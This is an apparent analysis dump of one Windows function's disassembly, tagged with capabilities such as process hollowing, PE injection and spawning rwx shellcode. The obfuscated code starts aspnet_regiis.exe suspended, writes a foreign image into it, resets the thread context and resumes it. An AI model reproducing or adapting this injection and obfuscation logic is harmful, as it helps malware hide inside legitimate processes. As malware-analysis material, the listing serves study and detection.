Function at 0x100035c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [0x10066600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x194], 0x760ee22f
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x198], eax
sub eax, 0x80257fd9
je 0x10004b84
jmp 0x100035fc
mov eax, dword [ebp - 0x198]
sub eax, 0x806ec7c7
je 0x1000517d
jmp 0x10003612
mov eax, dword [ebp - 0x198]
sub eax, 0x828689ba
je 0x1000494e
jmp 0x10003628
mov eax, dword [ebp - 0x198]
sub eax, 0x84df1f42
je 0x100053d4
jmp 0x1000363e
mov eax, dword [ebp - 0x198]
sub eax, 0x852ab3de
je 0x10006729
jmp 0x10003654
mov eax, dword [ebp - 0x198]
sub eax, 0x856c8f71
je 0x10006354
jmp 0x1000366a
mov eax, dword [ebp - 0x198]
sub eax, 0x863420f1
je 0x10006f95
jmp 0x10003680
mov eax, dword [ebp - 0x198]
sub eax, 0x86a63483
je 0x10005f9a
jmp 0x10003696
mov eax, dword [ebp - 0x198]
sub eax, 0x880ea20c
je 0x1000680d
jmp 0x100036ac
mov eax, dword [ebp - 0x198]
sub eax, 0x8bc98824
je 0x10006b06
jmp 0x100036c2
mov eax, dword [ebp - 0x198]
sub eax, 0x8de78454
je 0x10005780
jmp 0x100036d8
mov eax, dword [ebp - 0x198]
sub eax, 0x902335ad
je 0x10006db8
jmp 0x100036ee
mov eax, dword [ebp - 0x198]
sub eax, 0x91580e3e
je 0x10006603
jmp 0x10003704
mov eax, dword [ebp - 0x198]
sub eax, 0x92b2494a
je 0x1000608e
jmp 0x1000371a
mov eax, dword [ebp - 0x198]
sub eax, 0x92cc9a63
je 0x100059ed
jmp 0x10003730
mov eax, dword [ebp - 0x198]
sub eax, 0x95bfe045
je 0x10004d3c
jmp 0x10003746
mov eax, dword [ebp - 0x198]
sub eax, 0x966288e5
je 0x10004997
jmp 0x1000375c
mov eax, dword [ebp - 0x198]
sub eax, 0x98348808
je 0x100050b7
jmp 0x10003772
mov eax, dword [ebp - 0x198]
sub eax, 0x9a2e21ae
je 0x10005096
jmp 0x10003788
mov eax, dword [ebp - 0x198]
sub eax, 0x9bdb4f26
je 0x10005306
jmp 0x1000379e
mov eax, dword [ebp - 0x198]
sub eax, 0x9edca84c
je 0x1000553f
jmp 0x100037b4
mov eax, dword [ebp - 0x198]
sub eax, 0x9f3cb588
je 0x10005771
jmp 0x100037ca
mov eax, dword [ebp - 0x198]
sub eax, 0xa1eb54bb
je 0x10005d8b
jmp 0x100037e0
mov eax, dword [ebp - 0x198]
sub eax, 0xa2073ac7
je 0x10006772
jmp 0x100037f6
mov eax, dword [ebp - 0x198]
sub eax, 0xa5f112e5
je 0x1000450a
jmp 0x1000380c
mov eax, dword [ebp - 0x198]
sub eax, 0xa62e7ae8
je 0x10004bd4
jmp 0x10003822
mov eax, dword [ebp - 0x198]
sub eax, 0xa7ab8928
je 0x100058d9
jmp 0x10003838
mov eax, dword [ebp - 0x198]
sub eax, 0xa81924a9
je 0x1000563c
jmp 0x1000384e
mov eax, dword [ebp - 0x198]
sub eax, 0xa9611144
je 0x10005f8b
jmp 0x10003864
mov eax, dword [ebp - 0x198]
sub eax, 0xaa0f74ee
je 0x10004afe
jmp 0x1000387a
mov eax, dword [ebp - 0x198]
sub eax, 0xaa73ec54
je 0x10005b71
jmp 0x10003890
mov eax, dword [ebp - 0x198]
sub eax, 0xadc10b76
je 0x10006008
jmp 0x100038a6
mov eax, dword [ebp - 0x198]
sub eax, 0xb08fc83f
je 0x1000492d
jmp 0x100038bc
mov eax, dword [ebp - 0x198]
sub eax, 0xb0bef52c
je 0x100055b6
jmp 0x100038d2
mov eax, dword [ebp - 0x198]
sub eax, 0xb10c85c9
je 0x10006e21
jmp 0x100038e8
mov eax, dword [ebp - 0x198]
sub eax, 0xb2e50d4e
je 0x10006a51
jmp 0x100038fe
mov eax, dword [ebp - 0x198]
sub eax, 0xb46326d4
je 0x1000641e
jmp 0x10003914
mov eax, dword [ebp - 0x198]
sub eax, 0xb7b359a2
je 0x10006bbf
jmp 0x1000392a
mov eax, dword [ebp - 0x198]
sub eax, 0xba224d53
je 0x10006ba1
jmp 0x10003940
mov eax, dword [ebp - 0x198]
sub eax, 0xbf22f6fa
je 0x1000658d
jmp 0x10003956
mov eax, dword [ebp - 0x198]
sub eax, 0xc02b80e1
je 0x10006ab1
jmp 0x1000396c
mov eax, dword [ebp - 0x198]
sub eax, 0xc10ce1ab
je 0x10005ef1
jmp 0x10003982
mov eax, dword [ebp - 0x198]
sub eax, 0xc115a055
je 0x100045e2
jmp 0x10003998
mov eax, dword [ebp - 0x198]
sub eax, 0xc14d7eeb
je 0x10004603
jmp 0x100039ae
mov eax, dword [ebp - 0x198]
sub eax, 0xc2940c1b
je 0x10005970
jmp 0x100039c4
mov eax, dword [ebp - 0x198]
sub eax, 0xc3801033
je 0x10004b0d
jmp 0x100039da
mov eax, dword [ebp - 0x198]
sub eax, 0xcd3f6b24
je 0x10004a22
jmp 0x100039f0
mov eax, dword [ebp - 0x198]
sub eax, 0xd4ba03cc
je 0x1000579d
jmp 0x10003a06
mov eax, dword [ebp - 0x198]
sub eax, 0xd574bb1a
je 0x10004b9f
jmp 0x10003a1c
mov eax, dword [ebp - 0x198]
sub eax, 0xd72658d7
je 0x100066ee
jmp 0x10003a32
mov eax, dword [ebp - 0x198]
sub eax, 0xd97bc940
je 0x10004edf
jmp 0x10003a48
mov eax, dword [ebp - 0x198]
sub eax, 0xdc3fcfe1
je 0x10004a13
jmp 0x10003a5e
mov eax, dword [ebp - 0x198]
sub eax, 0xdcb795a7
je 0x100052dd
jmp 0x10003a74
mov eax, dword [ebp - 0x198]
sub eax, 0xdeabe5bb
je 0x10006f59
jmp 0x10003a8a
mov eax, dword [ebp - 0x198]
sub eax, 0xdf5a813b
je 0x100061f0
jmp 0x10003aa0
mov eax, dword [ebp - 0x198]
sub eax, 0xe0f98162
je 0x10004dfb
jmp 0x10003ab6
mov eax, dword [ebp - 0x198]
sub eax, 0xe1b8bbed
je 0x10006a42
jmp 0x10003acc
mov eax, dword [ebp - 0x198]
sub eax, 0xe4b687fc
je 0x100056de
jmp 0x10003ae2
mov eax, dword [ebp - 0x198]
sub eax, 0xe6c98202
je 0x10006145
jmp 0x10003af8
mov eax, dword [ebp - 0x198]
sub eax, 0xe89b8de0
je 0x1000564b
jmp 0x10003b0e
mov eax, dword [ebp - 0x198]
sub eax, 0xeb2eae54
je 0x10006e3f
jmp 0x10003b24
mov eax, dword [ebp - 0x198]
sub eax, 0xef1af22b
je 0x10006da3
jmp 0x10003b3a
mov eax, dword [ebp - 0x198]
sub eax, 0xf0484535
je 0x10005030
jmp 0x10003b50
mov eax, dword [ebp - 0x198]
sub eax, 0xf99ede6a
je 0x10005578
jmp 0x10003b66
mov eax, dword [ebp - 0x198]
sub eax, 0xf9f026ef
je 0x100057be
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x297ebf4a
mov ecx, 0x19f25b66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dl, byte [ebp - 0x11d]
mov eax, 0xb2e50d4e
mov ecx, 0xc14d7eeb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x188]
add eax, 0x3c
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x194], 0x79e90634
jmp 0x10006fce
mov dl, byte [ebp - 0x10d]
mov eax, 0x828689ba
mov ecx, 0xb1dcbc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x647bf08b
mov ecx, 0x966288e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x17c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x647bf08b
mov ecx, 0xdc3fcfe1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dword [ebp - 0x194], 0xcd3f6b24
jmp 0x10006fce
mov dword [ebp - 0x194], 0xb1dcbc1
jmp 0x10006fce
mov dword [ebp - 0x194], 0xc3801033
jmp 0x10006fce
mov edx, dword [ebp - 0x10c]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0x4559bbc2
mov ecx, 0x80257fd9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x194], 0xd574bb1a
jmp 0x10006fce
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x108]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0x26fabcd1
mov ecx, 0xa62e7ae8
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
mov edx, eax
add edx, 0xe7fcf79c
sub edx, 1
sub edx, 0xe7fcf79c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8bc98824
mov ecx, 0x741d45d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
mov edx, eax
sub edx, 0x526be5c5
sub edx, 1
add edx, 0x526be5c5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba224d53
mov ecx, 0x5ec288e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dl, byte [ebp - 0x101]
mov eax, 0x4f3bbb3d
mov ecx, 0x2c31b6b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xfc], eax
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f419506
mov ecx, 0x6daadc80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x18c]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0xf8]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xf1], al
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7b359a2
mov ecx, 0x9a2e21ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dl, byte [ebp - 0xf1]
mov eax, 0x508a3782
mov ecx, 0x98348808
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x164]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x160]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x194], 0x5483a516
jmp 0x10006fce
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xe8]
xor eax, eax
sub eax, ecx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
mov edx, ecx
add edx, 0x51914e4b
sub edx, 1
sub edx, 0x51914e4b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1d4106c0
mov ecx, 0x74cdcaaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x194], 0x9bdb4f26
jmp 0x10006fce
mov eax, dword [ebp - 0xd4]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xd8]
mov eax, 0x8de78454
mov ecx, 0x1b3e9540
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
add ecx, 0x335c2e6
add ecx, eax
sub ecx, 0x335c2e6
mov eax, dword [ebp - 0x174]
mov edx, dword [eax]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov esi, dword [ebp - 0x154]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x164]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x154]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100034f0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x164]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x154]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0xc1], al
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
mov edx, ecx
sub edx, 0xe189b512
sub edx, 1
add edx, 0xe189b512
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x185a0d8e
mov ecx, 0x2f2b6de2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x194], 0xf99ede6a
jmp 0x10006fce
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xc0]
mov eax, 0xa81924a9
mov ecx, 0xb0bef52c
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x164]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x154]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x194], 0x5f21800
jmp 0x10006fce
mov dword [ebp - 0x194], 0xe89b8de0
jmp 0x10006fce
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x194], 0x51a7cdfd
jmp 0x10006fce
mov ecx, dword [ebp - 0xb0]
sub ecx, 0xa152a61c
add ecx, 1
add ecx, 0xa152a61c
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
mov edx, ecx
sub edx, 0x1efc2bc
sub edx, 1
add edx, 0x1efc2bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b837745
mov ecx, 0x9f3cb588
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dword [ebp - 0x194], 0xdcb795a7
jmp 0x10006fce
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x194], 0xd4ba03cc
jmp 0x10006fce
mov edx, dword [ebp - 0xac]
mov eax, 0x7595c92b
mov ecx, 0xf9f026ef
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dl, byte [ebp - 0xa1]
mov eax, 0x7595c92b
mov ecx, 0x37f722a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x902335ad
mov ecx, 0x6c35223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x194], 0x153d6b61
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20567ae0
mov ecx, 0x33bf977f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x194], 0x5f6ca797
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67d2dd70
mov ecx, 0x254a4a7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dword [ebp - 0x194], 0x86a63483
jmp 0x10006fce
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb10c85c9
mov ecx, 0xadc10b76
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
mov edx, eax
sub edx, 0x14977be3
sub edx, 1
add edx, 0x14977be3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb10c85c9
mov ecx, 0x2075395f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x27ac80b9
mov ecx, 0x294eda2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dword [ebp - 0x194], 0xaa73ec54
jmp 0x10006fce
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeb2eae54
mov ecx, 0x4d014f44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x275bda0f
mov ecx, 0x59497df0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dword [ebp - 0x194], 0x492caa42
jmp 0x10006fce
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
mov edx, ecx
sub edx, 0x9a1469c3
sub edx, 1
add edx, 0x9a1469c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ddf3861
mov ecx, 0x91580e3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5ddf3861
mov ecx, 0x7d243dc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x18c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x190]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x194], 0x852ab3de
jmp 0x10006fce
mov eax, dword [0x10067938]
mov ecx, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdeabe5bb
mov ecx, 0xa2073ac7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x6c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x10067938]
mov eax, dword [0x10067934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
